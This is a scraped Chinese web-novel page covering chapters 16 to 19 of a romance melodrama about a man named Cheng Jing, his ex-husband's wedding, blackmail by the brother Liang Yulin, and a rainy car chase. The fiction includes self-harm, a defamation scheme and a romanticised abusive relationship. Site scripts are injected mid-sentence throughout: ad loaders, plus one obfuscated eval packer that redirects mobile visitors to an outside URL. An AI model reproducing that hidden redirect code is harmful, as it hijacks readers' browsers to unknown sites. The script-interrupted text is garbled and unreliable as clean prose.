程荆没有回复,随手拦了一辆出租车到裴羲家,收拾好自己为数不多的行李,顺手打扫了一下家里,清除自己的所有生活痕迹,接着在餐桌上留下厚厚几沓现金和那串钥匙。 间隙中他订好了机票,坐在候机室吃零食时开始回消息。 他首先点开和裴羲的聊天框,打下一行字:“抱歉今天我有些冲动,和你说的事烦请你保密……” 然而还没等发出他便将这行信息逐字删除,只留下“抱歉”二字,犹豫几秒后按下了发送。 接着他点开林殊珩的头像,问:“你会去参加吗?” 对方很快回复:“不会,我没时间去西京。” “可以看看他给你发的请柬吗?” 林殊珩没有犹豫将那两条聊天记录打包发了过来,程荆点开请柬,记下了地址。 西京,博览园。 博览园是个庄园式的会议中心,梁家的家族地产之一,位置并不算太好,但胜在装潢相当气派,且占地宽广,仅仅走入宾客停车区就仿佛看了一场豪车展览。 正午婚礼在花园举行,晚宴在室内宴会厅,程荆到达时晚宴还没开始,许多中午无法到场的宾客排队进场,程荆也混在其中。 为了避免太显眼,他将头发和眉毛染成了黑色,只穿一身低调的深色西装。 走进大厦内,一眼望见的是极尽奢华的宴会厅,顶头有一盏巨大华美的吊灯,繁复的灯饰发出冷冽的亮光,四周墙面极高,地毯柔软,柔和的音乐倾泻而出,华服宾客相互寒暄,婚礼气氛相当浓厚。 程荆安静地打量四周,心想以新郎新娘的财力地位,这场婚宴办得也忒低调了。 他没有收到邀请,所以提前准备了用林殊珩的邀请函观礼,然而最终也没有用上,他只是跟着人群便轻松走了进来。 首先是博览园位置较偏,常人不会前来,其次是宾客相当多,并不会全部认真细查身份,所以虽然会议厅内站了几打黑衣保镖,入门处却根本没有细看,仅看衣饰气度便随意放入。 有时候,混入一场婚礼并不如想象中难。 程荆特意变换了装束,自然是不想被梁景珉认出来的,他被安排在某桌坐下,静等新郎新娘入场。 这一桌位置很靠边,甚至没有坐满,另一侧坐了几位新娘的大学同学,几个年轻女孩互相认识,坐了没一会儿就离席不知去哪里了,程荆独自坐在暗处研究伴手礼,顺带吃喜糖。 喜糖甜得他口中发腻,正待给自己倒一杯果汁,一侧袖子却忽然被人拉住了。 他偏头,发现竟然是一个小男孩。 他长着一张糯米团子似的精致脸蛋,看起来像个混血小孩,玻璃珠子似的大眼睛水汪汪将程荆盯着,声音奶声奶气的带点西京口音:“我也想喝,你给我也倒一杯好不好?” 程荆笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着点点头,找了个小杯子倒满递到他手上,声音软了些,是对小孩子说话的语气:“你爸爸妈妈呢,怎么一个人在这里?” 小男孩抿了一口饮料:“妈妈今天很忙,我在和苏苏阿姨玩捉迷藏。” 小孩子不懂事,程荆不再问了,将他抱到膝上捏他柔软的脸颊:“那我们一起在这里等阿姨来找你吧?” 他超大声回答了一句“好!”,笑得灿烂漂亮。 "我叫点点,哥哥你叫什么名字?" 程荆笑得眉眼舒展,却没直接回答他的问题:“你才几岁呀?要叫叔叔。” “我四岁了!”点点骄傲地挺着胸脯。 婚宴迟迟没有开始,前菜已经上了,于是程荆开始给点点喂食。直到点点的肚子撑得滚圆,和他捉迷藏的苏苏阿姨也没有出现。 程荆开始有点担忧,然而似乎也并没有其他人注意到小孩的走失,于是他再度询问:“点点,你来这边的时候,妈妈和苏苏阿姨在哪里呀?” 点点吃得满嘴巧克力,讲得绘声绘色:“在房间里!妈妈今天要结婚,苏苏阿姨不高兴,刚刚在房间里吵架,我就和苏苏阿姨说:‘不要吵架啦,不然我不高兴了’,然后妈妈开始哭,苏苏阿姨就说要和我玩捉迷藏,让我多躲一下。” 他扬起手臂:“我手表可以和妈妈还有阿姨打电话的,但我最好现在不吵她们。” 故事简单,信息量却吓人,听到这里,程荆已经皱起眉头,心脏咚咚跳动。 “刚刚你说,你妈妈今天要结婚?在哪里?” “就在这里呀!妈妈是新娘子,你知道什么是新娘子吧?”点点瞪大眼睛。 “我知道。”程荆扯了扯唇角,却没笑出来。 伴随着流动的音乐声,新娘穿着漂亮的高定礼服裙登场,脸颊上有鲜明泪痕,美得像蝴蝶和玻璃糖纸。 “那是我妈妈!”点点贴着程荆的右耳小声道。 程荆有些恍惚地点点头。 室内的灯光暗下来,远处台上打下一缕追光,聚光灯下站着黑色西服的梁景珉,程荆只消一眼便能认出他的身形。 程荆一合上眼睛就想起湖畔别墅那场春天的婚礼,和今天一样清凉的天气,梁景珉在他的无名指上套上钻戒,指尖冰凉。 埃及人说,无名指上有一根血管直通心脏,在那一刻,他曾经以为自己所爱的人通过一只昂贵钻戒就将自己送到了离他心脏最近的地方。 某个刹那,他曾真切感受到心脏在剧烈地跳动。 而现在,他仿佛可以清晰感觉到玻璃般心脏碎裂的声音,思维滞涩血肉尽失。 过了不知道多久,程荆好像感觉到点点在疯狂摇晃他的手臂,听见孩童充满惊恐的尖声叫喊:“叔叔你的杯子碎了!” 他机械般垂目去看,原来没察觉间拧碎了手中玻璃酒杯,尖锐玻璃直直捅入手掌,约莫有半指深,橙汁混着血洒了一身,乍一看煞是吓人。 奇怪。碎裂的玻璃扎进手里,鲜血顺着皮肉流淌,他好像一点感觉都没有。 他慢慢回想,忽然意识到方才是自己故意将碎片扎入手掌的。仿佛是想要转移心脏的疼痛,可惜没有奏效。 程荆嗓音有些空洞,喃喃自语:“为什么……” 16. 报道 程荆用力将碎片抽了出来,血流得更急,耳畔好像静止了几秒钟,转瞬后点点的惊叫声再次传入耳畔。 孩子安静时的确可爱,吵闹时却不尽然,程荆听得神经衰弱,心脏愈发随着点点的声音节奏不正常起来,更不用说他极力不想吸引他人的注意力。 他伸手捂住了点点的嘴,转头沉声警告:“别喊!” 已经有些坐得近的宾客开始为他们侧目,程荆慌乱间是用的受伤的那只手,刺目鲜血瞬间糊满了点点雪白的脸颊。 方才还温和的叔叔忽然变得凶狠严肃,眼底冒出冷戾的光,且自己的口鼻处全是鲜血,再乖巧的孩子也要害怕,点点愈发用力地哭起来。 程荆又害怕地松开手,拿起桌上擦手的热毛巾替点点擦拭口鼻,却没顾上掌心的血越流越多,现场终于慌乱成不可收拾的地步。 黑衣保镖很快将他请离了席位,到了一旁独立的更衣室包扎伤口。点点还坐在一侧哭,哭了一会儿哭累了,顶着泪汪汪的小脸凑过来看程荆的伤。 急救医生小心翼翼一点点将碎玻璃从程荆的掌心挑出来,程荆皱着眉头,忍住没出声喊痛,另一只手松松捂住了点点的双眼。 “别看,”他低声说,“对不起,刚刚我不应该捂你的嘴。” “没关系,”点点扭头避开程荆挡眼睛的手,却又抱住了他的腰,抽抽噎噎问,“叔叔你痛不痛啊?” “不痛的,点点替叔叔吹一吹好不好?”程荆伸手顺着他的发丝。 他心中没来由想到,梁景珉的新娘一定是个温柔善良的姑娘,才能养出这样的孩子。 点点隔空吹着气,程荆垂眼看他,眼神温柔得不像话。 另一位工作人员站在一旁,等到程荆的伤口处理得差不多,才上前来询问情况:“裴先生,根据我这里的登记信息,您是梁先生亲自邀请的宾客,但并未确认出席,这里需要麻烦您再出示一下邀请函……” 他话音未落,门口冲入一个女人,她一身休闲黑西装,高跟鞋哒哒作响,半长发扎在脑后,五官深邃。 她一边冲到点点身旁将他搂到怀里,一边叫他名字:“点点!” 她看起来很匆忙,想必是刚才有工作人员联系她才临时赶来,她捏着点点的脸左右端详,看见一点没擦干净的血迹。 她扭头来看程荆,目光里有一点兴师问罪的意味,声音却很低,听得出有些疲惫:“你怎么回事?” 程荆知道理亏,没有辩驳,只礼貌道歉:“我很抱歉,如果可以弥补,我希望可以赔偿孩子的精神损失。” 点点扯扯女人的衣服:“苏苏阿姨别生气,他刚刚已经和我说对不起了,我没关系的。” 苏潇蹲下将点点抱在怀里,站起身后亲了亲他的脸,说:“好。是阿姨不对,来得太慢了。” 她看了两眼程荆手掌上还在不断往外渗出血的伤口,似乎也是不好意思再多追究,沉声道:“算了,烦您之后多注意。” “点点,我们回家了。” “不等妈妈么?妈妈说想我们等她一起走的。”点点仰头问。 苏潇没有来得及回答,门却在此时开了。见到来人时她有一瞬间的讶异,仿佛不太愿意见到他的模样,谁知道竟是一旁坐着的程荆更加如临大敌——来人竟是打扮得人模狗样的梁昱霖。 梁昱霖上前要握手:“苏总,您怎么在这儿。” 苏潇抱着孩子,自然没有伸手回应,只简短道:“来接孩子。” 想必不愿与梁昱霖寒暄,她也不是多话的人,只点头致意便立刻抬步离开了房间。 苏潇不待见他,梁昱霖只自然地收回手,也没有要恼的样子,偏头却要去瞧程荆。 身旁的工作人员还在等着程荆的邀请函,正急着要问,这时候见到梁昱霖仿佛得救,立马上前汇报:“梁总,情况是这样,这位宾客……” 不等他说完,梁昱霖便抬手止住了他话语:“没关系,程先生是我亲自邀请的。” 他三言两语就化解了程荆的危机,工作人员也不好意思深究程荆究竟是姓程还是姓裴了,得了令脚底抹了油似的逃离了房间。 梁昱霖饶有兴味地开口道:“瞧瞧这是谁来了。” 程荆原本坐在原地打量着手上包扎的伤口,听见这句话抬起头,神情冷漠地望着梁昱霖的眼睛,什么也没说。 “新发色挺好看的,我乍一看都没认出你,”梁昱霖继续说道,“为了参加我哥的婚礼,你还真是大费周章啊。” “这不是正合了你的意么?”程荆冷道,“当初特意来把消息透露给我,其实若不是你这么急切,我也看不出翟振磊是你的人。” 程荆当时被严格管控在湖畔别墅,唯有一次梁景珉出行,整栋别墅停电一刻钟,梁昱霖就这么大摇大摆闯了进来,而那次在场的只有翟管家。 早先他窥见真相,没控制住脾气一耳光扇上翟管家侧颊,也是早就积攒的怒火。 程荆的眼睛里仿佛有一点痛,梁昱霖却忽然觉察出快意。 “梁景珉还在台上和新娘共舞呢,你的计谋是打错了,你见不到他。” “我不是来见他的。”程荆波澜不惊道。 “好吧,”梁昱霖一摊手,“但我是来见你的。” “其实我是特意来知会你一个好消息,时间不多,我尽快跟你跟进一下情况。”梁昱霖伸手递过来他的手机,界面上似乎正打开着一篇文章。 程荆接了过来,扫了一眼梁昱霖的脸。 梁昱霖说话还是从前那个感觉,程荆久违地想起来自己还在工作时的情形,当初他最先遇见的其实是梁昱霖。 他长得和梁景珉神似,他有点怀疑他们是兄弟,但从没有场合开口问。 认识几天后梁昱霖便对他展开了猛烈的追求。程荆承认,是他们兄弟的那一点相似吸引了他,于是答应了最初的约会,却很快发现这个决定做得荒谬至极,他并没有开始一段关系的心情,更何况梁昱霖和他哥哥完全是不一样的人。 清楚自己心意后他礼貌地拒绝了梁昱霖,自然没有说出真实原因,但一切都还算处理得妥帖合宜,当时梁昱霖的表现也很平和。 本以为只是一次最简单不过、不会有结果的邂逅,一切却在意识到他们是兄弟后变得复杂起来。 几年过去,程荆自觉对梁昱霖的理解也稍微更深刻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一点,但正如同摸不透梁景珉在想些什么一样,他也并非完全理解梁昱霖的所作所为。 接过手机,上方是一篇看起来仍是草稿的新闻报道,标题赫然是“梁氏集团行政总裁梁景珉性|虐待罪行曝光”。 见程荆皱着眉头粗粗扫看整篇报道,梁昱霖轻步走到门口,伸手反锁了房门。 程荆看完,仿佛有滚烫的东西在胸前烧灼,他如同感觉到凉水顺着自己的后脑一滴一滴爬上来。 草稿中涉及的照片竟然全是他当初诽谤时在警局验伤拍摄的伤情照片,内容洋洋洒洒,竟涵盖了梁景珉家暴、性|虐、重婚等种种罪行,细节详实,半真半假,倘若不了解内情,必然要恨梁景珉恨得牙痒痒了。 “怎样啊,程总,写得还满意么?”梁昱霖笑道,“还得感谢你牺牲自己辛苦给我提供的素材呀,说到底这篇文章还是你的那一part最精彩。” 的确,整篇文章的基调建立在程荆的报案记录和真实笔录上,倘若没有这些铁证如山,这篇文章只能被归为一则不入流的虚假爆料,如今却是显得货真价实。 程荆的声音发紧:“这是已经发出去了么?” “自然没有,还得听你的吩咐呀程总,”梁昱霖愈发得势张狂,“我其实一直在想你看完会是什么心情。” “是高兴呢,兴奋呢,还是特别爽啊?大仇得报的感觉如何?” 程荆没有回答,只答非所问喃喃道:“你不会发的,这样的负面新闻,不止梁景珉本人要被调查,梁氏的商誉呢?你舍得自己家的生意?” 梁昱霖:“梁家的产业大部分都攥在梁景珉手里,出了这样的事,董事一定第一时间和他割席,说不定最终获益的还是我。程荆,这么简单的道理你怎么想不明白?” 程荆仰头,眼神里有不解,说话时神情却让人看不出他心里在想些什么:“他是你亲哥哥,你就这么恨他?” 这句话音刚落,梁昱霖的神情却显出极为失望的模样。 空气恢复了漫长的静谧,直到他再次开口:“这正是我最不想看见的一种情况——你不忍心了。” 梁昱霖的语调陡然拔高,似乎是极为气愤:“当初恨他恨得牙痒痒的时候你是怎么来找我的,嗯?程荆?当初你想杀了他!” “可是他并没有这么做,是不是?”程荆冷静陈述,“他是活该,是该付出代价,但这些都不是真的。” 梁昱霖冷笑评价:“程荆,你就是贱。” 程荆觉得这个画面不知为何熟悉,想起那些影视狗血剧里哀其不幸怒其不争的无用女主角,忽然感觉梁煜霖骂得很对。 “当时的事情已经不存在了。当初……是我太莽撞,不是他的错,我的父母现在也好好的……”程荆的声音越来越低,仿佛不是要和梁昱霖争论,只是想要说服自己。 梁昱霖抱臂冷笑:“父母?也罢,我早料到你会这样。但当初选择要诽谤他的是你自己,要我不发也可以,那么你就亲自来为自己的行为付出代价吧。” 程荆冷笑抬眉:“你要我有什么用?” 梁昱霖唇角勾出个不明显的笑容:“我要你做什么,你不是早知道么?” 17. 追逐 “梁昱霖,你真的喜欢我吗?”程荆平静地问。 “难道不是因为,你长久地嫉妒你哥哥,所以想抢来所有他的东西从而达到你自己变态的征服欲么?你从前就是这样,梁景珉评价你的话还真没错。梁昱霖,我已经很迟钝,你却都瞒不过,别怪我说一句,你真比不过你哥哥。” 程荆这人就是如此,再涉及到不在乎的人和事时总是这般刻薄的清醒,在自己关心的人事上却是愚笨而鲁莽。 梁昱霖脸上多了些被羞辱的悲愤,而那悲愤转即又变作恶毒的表情。 他终于显露出疾言厉色的本质,面色狰狞道:“不如他又怎样?现在他还不是被我揪住了把柄?而你不过是个没用的弃子,如果你想他蹲监狱,尽可以再硬气下去。” 他伸手抓住了程荆的衣袖,程荆手上使了劲,却仍没挣脱开他的手腕上的禁锢。 程荆摇摇头,他分明是坐着,仰视梁昱霖的目光也像是在俯视,浅色的瞳孔里没有任何情绪:“梁景珉心疼你,纵容你,我可不见得。” 话音落下,房间门却忽然被敲响:“请问谁在里面吗?” 两人皆是一惊,程荆起身想去开门,梁昱霖却一把按住了他肩膀,低声道:“这里不适合说话,我们得离开。” 程荆不可置信地反问:“我为什么要和你一起走?” “听见音乐声了吗?一会儿他们一桌桌敬酒,马上就要到这边来了。你捅了这么大的篓子,你猜这次被梁景珉抓回别墅,你会怎样?” 程荆不敢想,梁昱霖却替他说出来:“关起来?锁起来?还是下……” “够了!”程荆厉声打断他。 他沉默良久后回答:“即便只是造谣,也是违法的,要我和你一起做这些事,尽早死了这条心。更不用说,他已经结婚了,还要我跟他走做什么?” 梁昱霖压着声音笑:“你刚见了苏潇,自然也猜出来他们这场婚姻不过是商业合作,这么问是想听我亲口说给你听吗?” 程荆的确猜到了,这么说是为了套话,可惜痕迹太明显被梁昱霖看了出来,此刻倒有些尴尬的形容。 可既然如此,为什么最初在他问的时候,梁景珉不和他解释呢? 程荆蹙眉沉默之际,房门的敲击声更加紧促了,梁昱霖再次出言催促:“你是走还是不走?” 他底气很足,仿佛完全没有为程荆方才坚决的拒绝所动。 程荆偏头往门把手方向看去,再次重申:“我不会去你的地方。” “那我送你到酒店,这总可以吧?路上咱们还能再谈谈。” 程荆当然没法全信梁昱霖的话,却也很操心如何从婚礼全身而退。 倘若只是普通宾客,方才出了那样的意外,或许会被请出宴会厅,但一定不会遭到盘问。方才守在他身边的工作人员却仿佛早有准备,寸步不离,很像是已经接到了通知的模样,却对内情一无所知。 早先林殊珩的警告在程荆心中再度徘徊,或许这一切真的是梁景珉的陷阱。 程荆沉默时梁昱霖打量着他的脸。 程荆长得真是漂亮,骨肉贴合,极其匀亭完美的骨相头颅,仿佛一朵凄美夜里的昙花,永远散发着天色将明未明时潮湿的气息。 他是造物主的艺术品,甚至特意点缀了别样的色彩,只穿一件过时的廉价西装也让人挪不开眼,无怪梁景珉费那样大的心思也要攥在手里。 他此刻染成了黑发,染发膏颜色不算太自然,和惨白如纸的皮肤略有不合,白皙的侧颊倒像是旧雨下的白蛇,撕咬下玫瑰色的唇仿佛蛇信,危险却动人,映衬得眉目愈发夺目。 但梁昱霖对他并没有别样的意图,正如同他看透程荆的小心思,程荆也看透了他。 在他眼里,程荆只因为梁景珉的钟爱而耀眼。他热衷于观察梁景珉,所以从多年前校园门口的初见时便敏锐地感知到梁景珉在他身上驻留过久的目光。程荆是多年前月下的妩媚旧景,是孩提时留下的遗憾,怨恨积年累月滋长,已经化为执念。 梁昱霖合时宜地再度蛊惑:“走吧,这是你最后的机会。我的车就在门口。我想今夜的婚礼并不缺我们两个多余的人。” 仿佛曾听闻过这样一个传说的道理:人在短暂的一生中会做出许多错误的决定,即便是最聪慧的人也没有例外。 几乎没有人在做决定的那个刹那能够预料到自己会因此懊悔多年,而这些重要的时间节点也往往极其不引人注意。 风险与收益,这本是程荆人生前几年深耕的领域,但今夜他显然不在状态。 或许是一念之差,或许是压力导致的谬误,这些或许都不得而知了。 无论如何,在这个刹那,程荆犯了一个错误,并且没有及时意识到它。 因为紧接着他抬起头回答道:“好,那就请你捎我到龙台坡地铁站。” 应付敲门的另一位更高级别的工作人员并没费太大功夫,显然有人吩咐过他们要寻找并截留一位白化病的客人,但程荆模棱两可的新发色让人无法做出判断。 梁昱霖板起脸来几句话又一次打发了他,并稍显自如地揽过了程荆的肩膀,带着他往门外走。 宴会厅只在几步之外,大门敞开,遥望时仍然可以看见令人眼花缭乱的灯光和悦耳的音乐声。 觥筹交错,宾客满堂,自然没有人会注意到一个低调前来又匆匆离开的伤心人。 程荆抽回目光,紧握掌心,撕裂伤口唤起的刹那痛感让他冷静,低头跟在梁昱霖身边出了门。 车开出大门时身后仿佛有些骚动,程荆坐在副驾驶试图探头向外看,却被梁昱霖喊住了。 “你想知道真相吗?”他问,“我想你应该很费解,既然只不过是权宜之计,为什么梁景珉不肯告诉你。” 程荆抽回了目光,因他的确好奇这个问题的答案,于是漠然着洗耳恭听。 梁昱霖冷笑:“答案太简单了——我那不可一世的哥哥当真以为他手眼通天,他错误地估量了自己的能力,坚信将你关在阿卡莱斯湖边就能封锁一切消息。” “他不敢告诉你,偷偷摸摸地订婚又办婚礼,倘若不是赵都宁那个蠢女人的帖子里拍到了钻戒,他恐怕真的要得逞了。可笑,他是真的害怕你知道,而此前我从没见他怕过什么事。” 远处仿佛有雷声闷闷滚动,看不见的地方,银白闪电曾撕裂天空。 程荆忽然觉得有点荒谬。 所以梁昱霖是想在现在告诉他,梁景珉其实在乎他?尽管他当初践踏自己的心意,尔后用暴力和不忠强迫他、侮辱他,但仍旧是爱他的? 当真是烂俗的桥段——一个心智健全的现代人,却没有能力说出自己的爱么?一定要用缄默和痛来遮掩,将彼此折腾得两败俱伤。水若已 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 枯,空留一条干燥的河床做什么? 程荆一点也不相信。 即便如此,他没办法骗自己,他的心念曾因此动摇了一个刹那。闪过的求生本能中,有一项殷殷期盼着这句话是真的。 屋外敲起雨来,沉重的雨丝暴力降落在车窗上,在公路两旁的土地上砸出深浅不一的凹陷。 程荆轻声道:“下雨了。” 谁知道话音刚落,仿佛被什么刺激到一般,梁昱霖忽的一脚油门,剧烈的推背感使得程荆的后脑砸在靠背上。时速飙升,随着雨势急剧加快着。 方才的窗户空留了一线透气,此刻狂风从中呼啸而来,夹杂着碎雨拍打到程荆手臂上,他惊呼:“为什么开这么快,你不要命了!” 梁昱霖没有回答。 雨水在车窗上的流淌的斜率缓缓降低,车子性能很好,开得这样快也很平稳,几乎没有噪音,然而程荆却莫名觉察到不对劲。 仿佛被电流击打,他的心脏猛然剧烈敲击起来,他直觉般往后视镜望去—— 那是又一道刺目的车灯,从身后不远处劈开险狭的夜色直逼过来,对方开着远光灯,车速极快且完全没有顾忌。梁昱霖也控制不住偏头去看后视镜,然而对方依旧是越来越近。 “那是谁?”程荆低声问。 梁昱霖恶狠狠道:“甩不掉的虫子……” 这条公路在夜色中透露出腐旧荒凉的气息,却也并非空无一人,尖锐的鸣笛划过,令人心悸,这是过分的车速引起了他人的不安。 程荆想要打开窗户向后去看,却被梁昱霖立刻止住,他警告道:“不想死就最好别让我分心。” 雨夜,两辆豪车在夜色中上演着一场惊险刺激的追逐,常有小报消息报道富家公子的飙车活动,身在其中自然又是另一番感受。 梁昱霖踩尽了油门,然而无济于事,对方终于追得足够近,距离梁昱霖的车尾只剩下几拳距离,这样嚣张的开法几乎让人立刻联想到一个人。 与此同时,程荆也终于通过后视镜看出了车型——那是一辆黑色的劳斯莱斯库里南。 据他所知,婚礼上现成的一位老熟人就有一辆。 就在此时,库里南的方向陡然一转,不过片刻便追到了平齐的位置,与梁昱霖并排疾驰。 窗外的夜色并灯火皆尽晃作虚影光斑,雨越下越大,雨刮器已经开到最大挡位,视线仍旧每秒被雨水刷新着。 库里南驾驶位正对着程荆的侧窗,它的主人却在此时撤下了车窗玻璃。 只见暴雨从那人的耳侧急灌而入,灼烈的狂风碎雨顷刻间将他一丝不苟的发型和昂贵西装浇了个湿透。 疾风下他不顾一切转过头来,与程荆目光相触。他的面色岿然不动,深黑双目透出摄人心魄的寒光,令人霎时胆寒。 刹那间,程荆仿佛感觉到心尖惊痛,痛感遍及周身,心脏不受控制地狂跳起来。 库里南越靠越近,梁昱霖躲避不及,两辆车的后视镜有一刹那碰撞出火花,发出了令人胆寒的撞击声,梁昱霖不得不惜命,稍稍慢了些许。 程荆的目光再次不受控制被窗外牵引。 时速两百,只见梁景珉在暴雨中侧目逼视而来,那是一双绝望的、癫狂的眼睛,莫名让人想到燃烛将尽。此时此刻,暴雨中传来一声令人难以忽略的压抑低吼—— “程荆!!!” 18. 离婚 程荆心头随之一震,他仿佛看见了什么极为可怕的东西一般,逃也似的转回头来,盯着车前挡风玻璃,胸口积攒的酸意顺着眼角爆发,眼睫不受控制地颤抖着。 两辆车再次发生了碰撞,梁昱霖倒吸了一口凉气。 他或许可以再赌一次,但他也再清楚不过——倘若方才的碰撞再发生一次,今夜这场角逐注定无法善终。 高速行驶留给驾驶员的思考时间十分有限,梁昱霖只有区区几秒钟用以做出抉择—— 停下,或是继续拼下去。 梁景珉这个疯子真是不要命,他偏头看了一眼,低声骂了一句脏话。 但这一切的确不值得他豁出命去,梁昱霖没有抓住最后的机会加速,终于踩下了刹车。 然而令人惊讶的是与此同时,身侧的梁景珉竟也没有抓住这个机会撞过来。 他分明可以,却没有这么做,仿佛是忌惮着什么。 好在梁昱霖的减速仍旧给了他机会,他一脚油门超出去,一个急刹挡在了不远处的道路中间,摔门下了车。 暴雨横在他面前恍若无物,刺目的车灯浇在他身上,他身黑的瞳孔都变为琥珀,怒意烧将起来。 梁昱霖被迫停下了车。 梁景珉走到车侧,上手就要开副驾驶的车门,千钧一发之际,程荆却忽然伸手扣住了门的反锁按钮。 他降下车窗抬眼看去,正对上梁景珉的视线。 他没说什么,只等着梁景珉开口,或许他是无话可说,或许是当真好奇,梁景珉驱车高调逃出自己的婚宴,究竟是有什么重要的事情要对他说。 梁景珉简直浑身都湿透了,定制的西装贴在身上成为沉重的累赘,雨水贴着他的前额向下急流,冰冷而残忍。 他眼底有难言的情绪,嗓音沙哑:“程荆,让我看看你的伤……” 分明他才是那个强势的人,站在眼前,驱车堵住他的去路,却竟然是这样一句开场白,程荆怔怔盯着他,混着极为复杂的情绪,水色也混入他的眼眶。 程荆神色的松动只有一个瞬间。 他额前汗津津的,像是斟酌着字句,仿佛有些长篇大论要发表,然而最终只说出一句冷淡的:“好久不见。” 他语气太平静了,仿佛只是和普通朋友隔了几个月没见的开场白,身侧呼啸的暴雨和浑身湿透的梁景珉都没有让他的情绪有分毫波动。 “程荆……”梁景珉再度沉声喊他的名字,“下车,我带你回家。” 程荆微微蹙眉,良久才答道:“我的伤早已经好了,不劳挂心。我在西京也没有什么家。” 梁景珉的脸上略有一些错愕,这简直是相当罕见的事情,正如他今日如此狼狈,也是百年难遇。 梁昱霖见了程荆这般态度便放了七成心,此刻看热闹不嫌事大地掏出手机来给梁景珉拍照,还不忘出言嘲讽:“你现在这个造型真是很有意思。” 梁景珉没出声,程荆再度开口:“你的新婚之夜,下这么大雨追出这么远来,就为了看我的伤?” “我们先回去,我和你解释,”梁景珉的声音很低,“你先从他车里下来,程荆,你不会想和梁昱霖混在一起的。” 说的话分明是人话,可梁景珉眉眼上永远憋着一股狠劲,让人不寒而栗,说什么都仿佛在逼迫。 而程荆此生,恰恰最讨厌被人逼迫。 “恭贺新婚,早先就祝过你订婚快乐,婚礼我也就没有多待了”,程荆的声音像是淬了冰,“当然,我本来也没有指望收到邀请。” 梁景珉是永远不会说出“你听我解释”这般狼狈的话的,可此时此刻雨水顺着他的侧颊流淌,他湿漉漉的眉眼却分明在说这五个字。 可惜程荆没给他这个机会:“结婚三年,我自认对你也是仁至义尽,分手也从未纠缠,但你屡屡越轨,我的确是再也无法忍受了。” “你和赵小姐的婚姻是真也好是假也罢,我不在乎。今天太匆忙,如果不是你追来我也没提前料想到我们能见面。等我回家后,离婚协议会邮寄到你办公室,届时麻烦梁总签字。” 程荆的声音微微颤抖,却显得十分反常,他的目光没有焦距,好像刚才长段的分手剖白是另一个人说的。 “你走吧,我们不要再见了。” 梁景珉的身形仿佛晃了晃,好像直到此刻尖刀般的雨才终于触及他皮肉。雨水顺着他的长睫毛流淌下来,湿漉漉的,莫名让人想起沉默的苍凉夜色。 程荆终于在他的瞳孔里看见自己,好像终于找到两人的共同点。说出这句话时仿佛将扎在心脏上的尖刀血淋淋抽出来插在梁景珉心上,好让彼此品尝对方的痛苦。 梁昱霖适时开口:“新婚夜上飙车,若是让媒体看到了又该怎么写,新娘子又该怎么想呢?” 梁景珉的眼神黯淡了一下,仿佛不可置信般盯着程荆,就在他失神的刹那,程荆伸手按住了梁昱霖的右手手背,急促喝道:“快走!!” 梁昱霖和他配合得分毫不差,立时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13889719|147029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发动了汽车,从梁景珉横在路中央的车侧拐过。 过程中不经意剐蹭到了他的车头,发出一声剧烈的响声,碰撞过后,梁昱霖驱车一骑绝尘而去。 这简直是价值千金的一撞,梁昱霖爆发出笑声,仿佛极为兴奋,程荆却只别过头去往窗外看。 暗黑的玻璃上,倒映出他潮湿的双眼。 更远处,有一个僵直的背影立在雨中。 漫长的车程中,程荆再也没有开口说一句话。 梁昱霖开车不专心,不肯忍受安静:“不得不说,你这段分手宣言绝对超出你个人水平了程荆,我都没想到你能这么决绝。” 程荆没有搭理他。 梁昱霖又偏头讥讽:“但是话都说了,现在又哭什么呢?我是该说你痴还是说你傻?自身难保了还为这个混蛋着想呢?” 程荆终于转过头来,他剔透的面颊浸满了水渍,部分来源于方才开窗时飘进的雨水,他看梁昱霖的双眼里有灼灼冷火。 要想解释他反常的神情,我们须将时间倒带回几分钟前,也就是梁景珉将车横在路上,下车走到梁昱霖车边的那短短几十秒。 梁昱霖逼停了车辆,两人肾上腺素都因方才的车速急剧飙升,尚未平息。 他抓紧时间对着程荆说:“或许你原本也没打算和他走,但我还是要警告你一句,程荆,别忘了刚才看的那篇文章。” 他的声音很缓很低,却引得程荆从见到梁景珉前来的震惊中抽出心绪来,震惊地望向梁昱霖的双眼。 这是一句威胁。 程荆有些错愕,不明白梁昱霖为什么笃信他会为了梁景珉接受他的威胁,然而他却当真这么做了。 他只有几秒钟反应时间,却无师自通地自由发挥出方才那段惊天动地的剖白,这些话在他心里憋了太久,也算是终有一日得以说出。 但程荆知道这一切不是真的。 梁昱霖兀自笑着,笑他又一次拿捏住了程荆的本质,而程荆则沉默地流着泪。 他不是愤怒,也不是心碎,似乎只是很委屈。 因为在这一刻他绝望地意识到,无论梁景珉对他做了什么,造成了多么天崩地裂的伤害,他都依旧爱他。 从年少起便是如此,即便梁景珉那样冷漠,那样恶劣,他依旧每每见到他那张脸便挪不动步子。其实他自己也不想这样。 然而情感就是这样运作的,一切都来得没有缘由,无法选择无法逃离,而无能的程荆从来控制不了。 19. 陷阱 夜色浓黑,程荆望着窗外放空出神,方才消耗了太多情绪,如今他像是一具耗空了电量的玩偶,处于沉默的待机状态中,强制不对任何外界刺激做出反应。 他从前是去过博览园的,那里和湖畔别墅倒离得不远,和市区却有些距离。在车开了几十分钟后,他很快迷失了方向感。 困意蔓延,车内静得可怕,梁昱霖点开一个嘈杂的摇滚歌单,金属乐声鼓噪刺痛耳膜,程荆听得头疼,开了窗吹风。 他所住的酒店离龙台坡隔了三站地铁,他为了避免梁昱霖知晓他住所才报了这个地点,实际上并不熟悉它在哪里,是以更加无法辨认梁昱霖是否带他来到了正确的位置。 又开了十几分钟,梁昱霖靠边停了车。 